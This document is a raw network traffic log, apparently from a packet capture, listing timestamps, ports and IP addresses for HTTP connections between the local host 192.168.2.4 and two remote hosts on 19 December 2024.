Dec 19, 2024 14:10:13.716135979 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.716284990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.716456890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.716732979 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.717180967 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.717236042 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.717350960 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.717418909 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.718277931 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.718343019 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.718380928 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.718417883 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.719372034 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.719461918 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.719486952 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.719579935 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.720396042 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.720453024 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.720628023 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.720702887 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.721481085 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.721519947 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.721546888 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.721584082 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.722557068 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.722620964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.722712040 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.722855091 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.723613024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.723668098 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.723696947 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.723777056 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.724725962 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.724787951 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.724800110 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.724912882 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.725738049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.725822926 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.725848913 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.725933075 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.726885080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.727014065 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.727058887 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.727058887 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.727902889 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.727962971 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.727962971 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.728077888 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.728967905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.729064941 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.729101896 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.729221106 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.730058908 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.730134010 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.730139971 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.730246067 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.731157064 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.731336117 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.731489897 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.731596947 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.732153893 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.732239008 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.732413054 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.732472897 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.733232975 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.733302116 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.733330965 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.733397961 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.734287977 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.734395027 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.734414101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.734436035 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.735368013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.735425949 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.735445023 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.735532999 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.736424923 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.736464977 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.736489058 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.736541033 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.737503052 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.737581968 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.737612009 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.737683058 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.738549948 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.738682032 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.738714933 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.738768101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.739634991 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.739691973 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.739737034 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.739861965 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.740701914 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.740773916 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.740814924 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.740923882 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.741806030 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.741851091 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.741885900 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.741925955 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.742878914 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.742980003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.742999077 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.743078947 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.743949890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.744050980 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.744081020 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.744215012 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.744986057 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.745132923 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.745162964 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.745279074 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.747719049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.747777939 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.747807026 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.747819901 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.747875929 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.747991085 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.748096943 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.748259068 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.748399973 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.748493910 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.748554945 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.749288082 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.749334097 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.749401093 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.749497890 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.750299931 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.750360966 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.750375032 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.750521898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.751364946 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.751460075 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.751471996 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.751579046 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.752460003 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.752552986 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.752684116 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.752758980 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.753549099 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.753854036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.753932953 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.754000902 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.754586935 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.754648924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.754652977 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.754849911 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.755650043 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.755767107 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.755815029 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.755815029 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.756720066 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.756831884 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.756838083 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.757014036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.757790089 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.757966995 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.757988930 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.758212090 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.758994102 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.759052992 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.759104013 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.759125948 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.759939909 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.760034084 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.760179043 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.760229111 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.761040926 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.761095047 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.761123896 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.761178017 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.897941113 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.898025990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.898063898 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.898116112 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.898401022 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.898519039 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.898574114 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.898587942 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.899446964 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.899548054 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.899832964 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.899979115 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.900490046 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.900538921 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.900623083 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.900679111 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.901554108 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.901619911 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.901633024 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.901679039 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.902628899 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.902733088 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.902904034 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.902970076 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.903923035 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.903981924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.904110909 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.904164076 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.904838085 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.904952049 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.904978991 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.905044079 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.905842066 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.905919075 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.905931950 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.906013966 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.906970978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.907032967 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.907049894 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.907102108 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.908056021 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.908107996 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.908121109 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.908164024 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.909085035 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.909133911 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.909153938 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.909172058 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.910101891 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.910183907 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.910201073 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.910243034 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.911209106 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.911247969 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.911386013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.911447048 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.912235022 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.912295103 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.912362099 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.912448883 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.913336039 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.913444996 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.913445950 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.913523912 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.914372921 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.914469957 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.914495945 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.914551020 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.915447950 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.915512085 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.915569067 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.915648937 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.916594028 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.916635990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.916711092 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.916766882 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.917589903 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.917625904 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.917697906 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.917773008 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.918687105 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.918893099 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.918914080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.918981075 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.919739008 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.919806957 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.919848919 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.919951916 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.920788050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.920825958 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.920876026 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.920928955 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.921874046 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.921925068 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.921964884 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.922034025 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.922991037 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.923060894 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.923168898 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.923239946 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.924024105 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.924097061 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.924119949 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.924175978 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.925074100 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.925136089 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:16.144402981 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:16.146020889 CET	49773	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:16.264516115 CET	80	49748	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:16.264600039 CET	49748	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:16.265599012 CET	80	49773	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:16.265669107 CET	49773	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:16.276145935 CET	49773	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:16.395699978 CET	80	49773	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:17.611336946 CET	80	49773	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:17.611468077 CET	49773	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:17.612945080 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:17.613281965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:17.733192921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:17.733212948 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:17.733273983 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:17.733304977 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:17.733503103 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:17.852981091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.114595890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.114610910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.114681959 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.122140884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.122581005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.234025002 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.234040022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.234050989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.234062910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.234078884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.234112978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.234112978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.238662004 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.238673925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.238723993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.242027998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.242073059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.354067087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.354079008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.354113102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.354125977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.354131937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.354156017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.354171038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.354171038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.354172945 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.354192019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.354206085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.354218006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.354965925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.354979038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.355010986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.355026007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.358030081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.358067989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.358074903 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.358105898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.366404057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.366458893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.366542101 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.366590977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.375663042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.375708103 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:19.375968933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:19.376004934 CET	49775	80	192.168.2.4	31.41.244.11
